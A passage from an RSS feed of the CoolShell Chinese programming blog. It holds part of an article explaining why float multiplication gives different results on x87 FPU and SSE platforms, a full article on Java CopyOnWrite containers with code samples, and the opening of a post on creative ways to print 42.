4.6.3）是：-202014162</li>\n</ul>\n<p><strong>合理的结果应该是-202014160，正确的运算结果是-202014162</strong>，合理性是浮点精度不够造成的（文后解释了合理性）。若是用两个double相乘可得正确且合理的运算结果（注：把上面C++的程序中的p3x和p2y的类型声明成double，就能得到正确的结果，因为double是双精度的，float是单精度，所以double有足够的位数存放更多的数位）。<strong>但是我们有点不明白，为什么Linux 32位下，居然能算出“正确”的数，而不是“合理”的数</strong>。</p>\n<p>与C++一样，C#在32位和64位（DEBUG下，这个后面会说）下没有得到一致的结果，那我们来看一下C++/C#的汇编代码（使用gdb的disassemble /m main 命令，另外下面只显示 float * float 然后转成double的那一行代码的汇编）</p>\n<p><strong>Linux平台下用G++编译</strong></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">//C++ 32位系统下 Ubuntu 12.04\n8\t    double v321 = p3x * p2y;\n   0x0804860f &lt;+27&gt;:\tflds   0x18(%esp)\n   0x08048613 &lt;+31&gt;:\tfmuls  0x1c(%esp)\n   0x08048617 &lt;+35&gt;:\tfstpl  0x10(%esp)\n\n.......</pre>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">//C++ 64位系统下 CentOS 6\n9           double v321 = p3x * p2y;\n   0x000000000040083c &lt;+24&gt;:    movss  -0x20(%rbp),%xmm0\n   0x0000000000400841 &lt;+29&gt;:    mulss  -0x1c(%rbp),%xmm0\n   0x0000000000400846 &lt;+34&gt;:    unpcklps %xmm0,%xmm0\n   0x0000000000400849 &lt;+37&gt;:    cvtps2pd %xmm0,%xmm0\n   0x000000000040084c &lt;+40&gt;:    movsd  %xmm0,-0x18(%rbp)</pre>\n<p><strong>Windows平台下用Visual Studio编译</strong></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">//C# AnyCPU编译，Windows VS2012\ndouble v321 = p3x * p2y;\n00000049  fld         dword ptr [ebp-40h]\n0000004c  fmul        dword ptr [ebp-44h]\n0000004f  fstp        qword ptr [ebp-4Ch]</pre>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">//C# X64位编译 Windows7 VS2012\ndouble v321 = p3x * p2y;&lt;/pre&gt;\n009B43B8 movss xmm0,dword ptr [p3x]\n009B43BD mulss xmm0,dword ptr [p2y]\n009B43C2 cvtss2sd xmm0,xmm0\n009B43C6 movsd mmword ptr [v321],xmm0</pre>\n<p>从上面的汇编代码可以看出，无论是Linux和Windows，C++或C# 32位和64对浮点数的汇编指令并不一样。 32位生成代码用的指令是fld/fmul/fstp等，而64位下的使用了movss/mulss/movsd/的指令。看下来，似乎这个事情和平台有关系。</p>\n<p>我们继续调查，我们发现，其中fld/fmul/fstp等指令是由<strong>FPU</strong>(float point unit)浮点运算处理器做的，准确的说，是FPU x87指令，FPU在进行浮点运算时，用了<strong>80位</strong>的寄存器做相关浮点运算，然后再根据是float/double截取成32位或64位，FPU默认上会尽量减少由于需要四舍五入带来的精度问题。可参看浮点运算标准<a href=\"http://en.wikipedia.org/wiki/IEEE_floating_point\" target=\"_blank\">IEEE-754</a> 推荐标准实现者提供浮点可扩展精度格式(<a href=\"http://en.wikipedia.org/wiki/Extended_precision\" target=\"_blank\">Extended precision</a>)，Intel x86处理器有FPU(float point unit)浮点运算处理器支持这种扩展。</p>\n<p>非FPU的情况是用了SSE中128位寄存器(float实际只用了其中的32位，计算时也是以32位计算的)，这就是导致上述问题产生的最终原因。详细分析见文末说明。</p>\n<p>知道了这一点，我们可以man g++ 看一下文档，我们可以找到一个编译选项叫：<strong>-mfpmath，在32位下，这个编译选项的默认值是：387，也就是x87 FPU指令，在64位下，这个编译选项的值是sse，也就是使用SSE的指令</strong>。所以，就这篇文章中的这个例子而言，如果你在64bits下加上如 -mfpmath=387，你会得到“正确的”结果，而不是“合理的”结果。</p>\n<p>而在VS2012中C++，<a href=\"http://msdn.microsoft.com/zh-cn/library/vstudio/e7s85ffb(v=vs.110).aspx\" target=\"_blank\">编译选项可以设置(代码生成中)</a>可选，/fp:[precise | fast | strict]，本例中Release 32位下用precise 或者 strict将得到合理的结果(-202014160)，fast将产生正确的结果(-202014162), fast debug/release下结果也不一样哦(release下才优化了)。64系统下各个结果可以大家自己去测试下(Debug/Release)，分别看看VS编译后产生的中间代码长什么样。（陈皓注：我的VS2012在debug编译下，无论你怎么设置/fp的参数值，汇编都是一样的，使用SSE指令，而Release就不一样了，但是我的release下看代码的汇编非常怪异和源代码对上号，多年不用Windows开发了，对VS的使用仅停留在VC6++/VC2005上）</p>\n<p>所以，我们在从x87 FPU指令向SSE指令做代码移植的时候，我们可能会遇到向这样的浮点数的精度问题，这个精度问题会多次科学计算中会更糟糕。<strong>这个问题并不简单的只是在32位和64位中的系统出算，这个问题主要还是看语言编译器的实现</strong>。在更为高级的语言中，如：C99或Fortran 2003中，引入了“long double”来做可扩展双精度（Extension Double），这样就可以消除更多的精度问题。</p>\n<p>下面我们把程序改成long double，（注：其中的类型变成long double）</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#include\nusing namespace std;\n\nint main()\n{\n    long double p3x = 80838.0;\n    long double p2y = -2499.0;\n    long double v321 = p3x * p2y;\n    std::cout.precision(15);\n    std::cout &lt;&lt; v321 &lt;&lt; std::endl;\n\n    return 0;\n}</pre>\n<p>用gdb的disassemble /m main你会看到其中的运算的汇编如下（使用了fmlp指令）：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">//linux 32位系统\n8\t    long double v321 = p3x * p2y;\n   0x08048633 &lt;+63&gt;:\tfldt   0x10(%esp)\n   0x08048637 &lt;+67&gt;:\tfldt   0x20(%esp)\n   0x0804863b &lt;+71&gt;:\tfmulp  %st,%st(1)\n   0x0804863d &lt;+73&gt;:\tfstpt  0x30(%esp)\n</pre>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">//linux 64位系统\n8           long double v321 = p3x * p2y;\n   0x0000000000400818 &lt;+52&gt;:    fldt   -0x30(%rbp)\n   0x000000000040081b &lt;+55&gt;:    fldt   -0x20(%rbp)\n   0x000000000040081e &lt;+58&gt;:    fmulp  %st,%st(1)\n   0x0000000000400820 &lt;+60&gt;:    fstpt  -0x10(%rbp)\n</pre>\n<p><span style=\"line-height: 1.5em;\">我们可以看到，32位系统和64位系统使用了同样的汇编指令（当然，我没有那么多物理机，我只是在VMWare Play的虚拟机上测试的，所以上面的示例并不一定适用于所有的地方，另外，C/C++语言和编译器和平台有非常大的关系） ，原因自然是我们用到了long double这个扩展双精度的数据类型。（注：如果你用double或float，在Linux上，32位用x87 FPU 指令编译，而64位用SSE指令编译）</span></p>\n<p>好了，我们再回到C#上来，<span style=\"line-height: 1.5em;\">C#的浮点是支持该标准的，其中</span><a style=\"line-height: 1.5em;\" href=\"http://msdn.microsoft.com/en-us/library/aa691146(v=vs.71).aspx\">其官方文档</a><span style=\"line-height: 1.5em;\">也提到了浮点运算可能会产生比返回类型更高精度的值（正如上面的返回值精度就超过了float的精度），并说明如果硬件支持可扩展浮点精度的话，那么</span><strong style=\"line-height: 1.5em;\">所有的</strong><span style=\"line-height: 1.5em;\">浮点运算都将用此精度进行以提高效率，举个例子x*y/z, x*y的值可能都在double的能力范围之外了，但真实情况可能除以z后又能把结果拉回到double范围内，这样的话，用了FPU的结果就会得到一个准确的double值，而非FPU的就是无穷大之类的了。</span></p>\n<p><span style=\"line-height: 1.5em;\">所以，对于</span>C#来说，你显然无法找到一个像C/C++一样的利用编译器选项的来解决这个问题的“解决方案”（其实，用编译器参数是一个伪解决方案）<span style=\"line-height: 1.5em;\">。</span></p>\n<p><span style=\"line-height: 1.5em;\"><strong>而且，要解决这个问题也不是要修改编译器选项，因为这个问题明显不是FPU或是SSE的问题，FPU是个过时的技术，SSE才是合理的技术，所以，<span style=\"color: #cc0000;\">如果你不想你的浮点数在计算上有什么问题，而且你需要精度准确，正确的解决方案不是搞编译参数，而是——你一定要使用精度更高字节数更多的数据类型，比如：double 或是long double</span>。</strong></span></p>\n<p>另外，大家在写代码的时候得保证实际运行环境/测试环境/开发环境的<strong>一致性(包括OS架构啊、编译选项等)</strong>啊（<strong>尤其是C/C++ 而且，编译器上的参数可能会有很多坑，而且有些坑可能会掩盖你程序中的问题</strong>），不然莫名其妙的问题会产生（本文就是开发环境与运行环境不一致导致的问题，纠结了好久才发现是这个原因）；遇到涉及浮点运算的时候别忘了有可能是这个原因产生的；<strong>float/double混用的情况得特别注意</strong>。</p>\n<p><strong>Reference：</strong></p>\n<p>[1] <a href=\"http://msdn.microsoft.com/en-us/library/aa691146(v=vs.71).aspx\">C# Language Specification Floating point types</a><br />\n[2] <a href=\"http://stackoverflow.com/questions/6683059/are-floating-point-numbers-consistent-in-c-can-they-be\">Are floating-point numbers consistent in C#? Can they be? </a><br />\n[3] <a href=\"http://www.plantation-productions.com/Webster/www.artofasm.com/Linux/HTML/RealArithmetica2.html\">The FPU Instruction Set</a></p>\n<h4><strong>附录</strong></h4>\n<h5><strong>80838.0f * -2499.0f = -202014160.0浮点运算过程的说明</strong></h5>\n<p>32位浮点数在计算机中的表示方式为：1位符号位(s)-8位指数位(E)-23位有效数字(M)。<br />\n32位Float = (-1)^s * (1+m) * 2^(e-127), 其中e是实际转换成1.xxxxx*2^e的指数,m是前面的xxxxx(节约1位)</p>\n<p>80838.0f = 1 0011 1011 1100 0110.0= 1.00111011110001100*2^16<br />\n有效位M = 0011 1011 1100 0110 0000 000<br />\n指数位E = 16 + 127 = 143 =  10001111<br />\n内部表示 80838.0 =  0 [1000 1111] [0011 1011 1100 0110 0000 000]<br />\n= 0100 0111 1001 1101 1110 0011 0000 0000<br />\n= 47 9d e3 00 //实际调试时看到的内存值 可能是00 e3 9d 47是因为调试环境用了小端表示法法：低位字节排内存低地址端，高位排内存高地址</p>\n<p>-2499.0 = -100111000011.0 = -1.001110000110 * 2^11<br />\n有效位M = 0011 1000 0110 0000 0000 000<br />\n指数位E = 11+127=138= 10001010<br />\n符号位s = 1<br />\n内部表示-2499.0 = 1 [10001010] [0011 1000 0110 0000 0000 000]<br />\n=1100 0101 0001 1100 0011 0000 0000 0000<br />\n=c5 1c 30 00</p>\n<p>80838.0 * -2499.0 = ?</p>\n<p>首先是指数 e = 11+16 = 27<br />\n指数位E = e + 127 = 154 = 10011010<br />\n有效位相乘结果为 1.1000 0001 0100 1111 1011 1010 01 //可以自己动手实际算下<br />\n实际中只能有23位，后面的被截断即1000 0001 0100 1111 1011 101<span style=\"text-decoration: line-through;\">0 01 </span><br />\n相乘结果内部表示=1[10011010][1000 0001 0100 1111 1011 101]<br />\n= 1100 1101 0100 0000 1010 0111 1101 1101<br />\n= cd 40 a7 dd</p>\n<p>结果 =  -1.1000 0001 0100 1111 1011 101 *2^27<br />\n=  -11000 0001 0100 1111 1011 1010000<br />\n=  -202014160<br />\n再转成double后还是-202014160.</p>\n<p>如果是FPU的话，上面的有效位结果不会被截断，即<br />\nFPU结果 = -1.1000 0001 0100 1111 1011 101<strong>001</strong> *2^27<br />\n= -11000 0001 0100 1111 1011 101<strong>001</strong>0<br />\n= -202014162</p>\n<p>全文完，若本文有纰漏之处欢迎指正。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3008.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"Windows编程革命简史\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3008.html\" class=\"wp_rp_title\">Windows编程革命简史</a></li><li ><a href=\"https://coolshell.cn/articles/2672.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\".NET代码转换器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2672.html\" class=\"wp_rp_title\">.NET代码转换器</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11235.html\">一个浮点数跨平台产生的问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/11235.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>25</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Java中的CopyOnWrite容器</title>\n\t\t<link>https://coolshell.cn/articles/11175.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/11175.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[方 腾飞]]></dc:creator>\n\t\t<pubDate>Fri, 07 Mar 2014 00:26:31 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[Copy-On-Write]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=11175</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>感谢 清英 同学的投稿 Copy-On-Write简称COW，是一种用于程序设计中的优化策略。其基本思路是，从一开始大家都在共享同一个内容，当某个人想要修改这个...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/11175.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/11175.html\">Java中的CopyOnWrite容器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-11219\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2014/03/cow-copy-300x222.jpg\" width=\"300\" height=\"222\" /><strong>感谢 <a href=\"http://ifeve.com\" target=\"_blank\">清英</a> 同学的投稿</strong></p>\n<p>Copy-On-Write简称COW，是一种用于程序设计中的优化策略。其基本思路是，从一开始大家都在共享同一个内容，当某个人想要修改这个内容的时候，才会真正把内容Copy出去形成一个新的内容然后再改，这是一种延时懒惰策略。从JDK1.5开始Java并发包里提供了两个使用CopyOnWrite机制实现的并发容器,它们是CopyOnWriteArrayList和CopyOnWriteArraySet。CopyOnWrite容器非常有用，可以在非常多的并发场景中使用到。</p>\n<h4>什么是CopyOnWrite容器</h4>\n<p>CopyOnWrite容器即写时复制的容器。通俗的理解是当我们往一个容器添加元素的时候，不直接往当前容器添加，而是先将当前容器进行Copy，复制出一个新的容器，然后新的容器里添加元素，添加完元素之后，再将原容器的引用指向新的容器。这样做的好处是我们可以对CopyOnWrite容器进行并发的读，而不需要加锁，因为当前容器不会添加任何元素。所以CopyOnWrite容器也是一种读写分离的思想，读和写不同的容器。</p>\n<p><span id=\"more-11175\"></span></p>\n<h4>CopyOnWriteArrayList的实现原理</h4>\n<p>在使用CopyOnWriteArrayList之前，我们先阅读其源码了解下它是如何实现的。以下代码是向ArrayList里添加元素，可以发现在添加的时候是需要加锁的，否则多线程写的时候会Copy出N个副本出来。</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic boolean add(T e) {\n    final ReentrantLock lock = this.lock;\n    lock.lock();\n    try {\n\n        Object[] elements = getArray();\n\n        int len = elements.length;\n        // 复制出新数组\n\n        Object[] newElements = Arrays.copyOf(elements, len + 1);\n        // 把新元素添加到新数组里\n\n        newElements[len] = e;\n        // 把原数组引用指向新数组\n\n        setArray(newElements);\n\n        return true;\n\n    } finally {\n\n        lock.unlock();\n\n    }\n\n}\n\nfinal void setArray(Object[] a) {\n    array = a;\n}\n</pre>\n<p>读的时候不需要加锁，如果读的时候有多个线程正在向ArrayList添加数据，读还是会读到旧的数据，因为写的时候不会锁住旧的ArrayList。</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic E get(int index) {\n    return get(getArray(), index);\n}\n</pre>\n<p>JDK中并没有提供CopyOnWriteMap，我们可以参考CopyOnWriteArrayList来实现一个，基本代码如下：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n\nimport java.util.Collection;\nimport java.util.Map;\nimport java.util.Set;\n\npublic class CopyOnWriteMap&lt;K, V&gt; implements Map&lt;K, V&gt;, Cloneable {\n    private volatile Map&lt;K, V&gt; internalMap;\n\n    public CopyOnWriteMap() {\n        internalMap = new HashMap&lt;K, V&gt;();\n    }\n\n    public V put(K key, V value) {\n\n        synchronized (this) {\n            Map&lt;K, V&gt; newMap = new HashMap&lt;K, V&gt;(internalMap);\n            V val = newMap.put(key, value);\n            internalMap = newMap;\n            return val;\n        }\n    }\n\n    public V get(Object key) {\n        return internalMap.get(key);\n    }\n\n    public void putAll(Map&lt;? extends K, ? extends V&gt; newData) {\n        synchronized (this) {\n            Map&lt;K, V&gt; newMap = new HashMap&lt;K, V&gt;(internalMap);\n            newMap.putAll(newData);\n            internalMap = newMap;\n        }\n    }\n}\n</pre>\n<p>实现很简单，只要了解了CopyOnWrite机制，我们可以实现各种CopyOnWrite容器，并且在不同的应用场景中使用。</p>\n<h4>CopyOnWrite的应用场景</h4>\n<p>CopyOnWrite并发容器用于读多写少的并发场景。比如白名单，黑名单，商品类目的访问和更新场景，假如我们有一个搜索网站，用户在这个网站的搜索框中，输入关键字搜索内容，但是某些关键字不允许被搜索。这些不能被搜索的关键字会被放在一个黑名单当中，黑名单每天晚上更新一次。当用户搜索时，会检查当前关键字在不在黑名单当中，如果在，则提示不能搜索。实现代码如下：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npackage com.ifeve.book;\n\nimport java.util.Map;\n\nimport com.ifeve.book.forkjoin.CopyOnWriteMap;\n\n/**\n * 黑名单服务\n *\n * @author fangtengfei\n *\n */\npublic class BlackListServiceImpl {\n\n    private static CopyOnWriteMap&lt;String, Boolean&gt; blackListMap = new CopyOnWriteMap&lt;String, Boolean&gt;(\n            1000);\n\n    public static boolean isBlackList(String id) {\n        return blackListMap.get(id) == null ? false : true;\n    }\n\n    public static void addBlackList(String id) {\n        blackListMap.put(id, Boolean.TRUE);\n    }\n\n    /**\n     * 批量添加黑名单\n     *\n     * @param ids\n     */\n    public static void addBlackList(Map&lt;String,Boolean&gt; ids) {\n        blackListMap.putAll(ids);\n    }\n\n}\n</pre>\n<p>代码很简单，但是使用CopyOnWriteMap需要注意两件事情：</p>\n<p>1. 减少扩容开销。根据实际需要，初始化CopyOnWriteMap的大小，避免写时CopyOnWriteMap扩容的开销。</p>\n<p>2. 使用批量添加。因为每次添加，容器每次都会进行复制，所以减少添加次数，可以减少容器的复制次数。如使用上面代码里的addBlackList方法。</p>\n<h4>CopyOnWrite的缺点</h4>\n<p>CopyOnWrite容器有很多优点，但是同时也存在两个问题，即内存占用问题和数据一致性问题。所以在开发的时候需要注意一下。</p>\n<p><strong>内存占用问题</strong>。因为CopyOnWrite的写时复制机制，所以在进行写操作的时候，内存里会同时驻扎两个对象的内存，旧的对象和新写入的对象（注意:在复制的时候只是复制容器里的引用，只是在写的时候会创建新对象添加到新容器里，而旧容器的对象还在使用，所以有两份对象内存）。如果这些对象占用的内存比较大，比如说200M左右，那么再写入100M数据进去，内存就会占用300M，那么这个时候很有可能造成频繁的Yong GC和Full GC。之前我们系统中使用了一个服务由于每晚使用CopyOnWrite机制更新大对象，造成了每晚15秒的Full GC，应用响应时间也随之变长。</p>\n<p>针对内存占用问题，可以通过压缩容器中的元素的方法来减少大对象的内存消耗，比如，如果元素全是10进制的数字，可以考虑把它压缩成36进制或64进制。或者不使用CopyOnWrite容器，而使用其他的并发容器，如<a href=\"http://ifeve.com/concurrenthashmap/\" target=\"_blank\">ConcurrentHashMap</a>。</p>\n<p><strong>数据一致性问题</strong>。CopyOnWrite容器只能保证数据的最终一致性，不能保证数据的实时一致性。所以如果你希望写入的的数据，马上能读到，请不要使用CopyOnWrite容器。</p>\n<p>关于C++的STL中，曾经也有过Copy-On-Write的玩法，参见陈皓的《<a href=\"http://blog.csdn.net/haoel/article/details/24058\" target=\"_blank\">C++ STL String类中的Copy-On-Write</a>》，后来，因为有很多线程安全上的事，就被去掉了。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"面向GC的Java编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_title\">面向GC的Java编程</a></li><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li><li ><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/图1-3-150x150.jpg\" alt=\"无锁HashMap的原理与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_title\">无锁HashMap的原理与实现</a></li><li ><a href=\"https://coolshell.cn/articles/9606.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/race_condition-150x150.jpg\" alt=\"疫苗：Java HashMap的死循环\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9606.html\" class=\"wp_rp_title\">疫苗：Java HashMap的死循环</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11175.html\">Java中的CopyOnWrite容器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/11175.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>38</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>如何用最有创造力的方式输出42</title>\n\t\t<link>https://coolshell.cn/articles/11170.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/11170.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 06 Mar 2014 14:42:42 +0000</pubDate>\n\t\t\t\t<category><![CDATA[趣味问题]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[42]]></category>\n\t\t<category><![CDATA[Programming]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=11170</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>酷壳似乎好长时间没有像《编程真难啊》或是《老手是这样教新手编程的》或是像《如何写出无法维护的代码》这样“严肃正经”的文章了，所以，赶在大家还没有向我扔臭鸡蛋前奉...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/11170.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/11170.html\">如何用最有创造力的方式输出42</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2014/03/42-300x240.jpg\" alt=\"\" width=\"300\" height=\"240\" class=\"alignright size-medium wp-image-11216\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/03/42-300x240.jpg 300w, https://coolshell.cn/wp-content/uploads/2014/03/42-338x270.jpg 338w, https://coolshell.cn/wp-content/uploads/2014/03/42.jpg 750w\" sizes=\"(max-width: 300px) 100vw, 300px\" />酷壳似乎好长时间没有像《<a title=\"编程真难啊 - 80,069 人阅读\" href=\"https://coolshell.cn/articles/1391.html\">编程真难啊</a>》或是《<a title=\"老手是这样教新手编程的\" href=\"https://coolshell.cn/articles/2420.html\" target=\"_blank\">老手是这样教新手编程的</a>》或是像《<a title=\"如何写出无法维护的代码\" href=\"https://coolshell.cn/articles/4758.html\" target=\"_blank\">如何写出无法维护的代码</a>》这样“严肃正经”的文章了，所以，赶在大家还没有向我扔臭鸡蛋前奉献一篇。这篇文章来自CodeGolf.StackExchange上的《<a href=\"http://codegolf.stackexchange.com/questions/21835/most-creative-way-to-display-42\">Most creative way to display 42</a>》—— 请以最有创造力的方式输出42。于是出现了下面的这些答案（注：精彩的总是留在最后面）</p>\n<h4>人生和宇宙终级问题的答案：42</h4>\n<p>这里，需要介绍一下为什么要输出42。这时因为42是我们人生，世界乃至整个宇宙的终级答案。这要从《银河系漫游指南》（英文名：The Hitchhiker&#8217;s Guide to the Galaxy）说起。这本书是著名英国科幻小说作家Douglas  Adams所著5本银河系漫游指南系列科幻喜剧系列小说中的第一本，改编自他本人为英国广播公司第四电台（BBC Radio 4）所写的广播剧剧本。该书1979年10月12日首次由麦克米伦出版公司（Pan Books）出版，次周成为英国图书销量榜冠军，前3个月内销售超过25万本。截至2005年，这本小说已被翻译成超过30种语言在全世界发行，并且被改编为电视剧、电影、舞台剧等多种艺术形式的作品。</p>\n<p>这本小说中小说中充满尖锐的讽刺和隐喻，被西方科幻爱好者奉为“科幻圣经”。其中有两个关键词，一个是Don&#8217;t 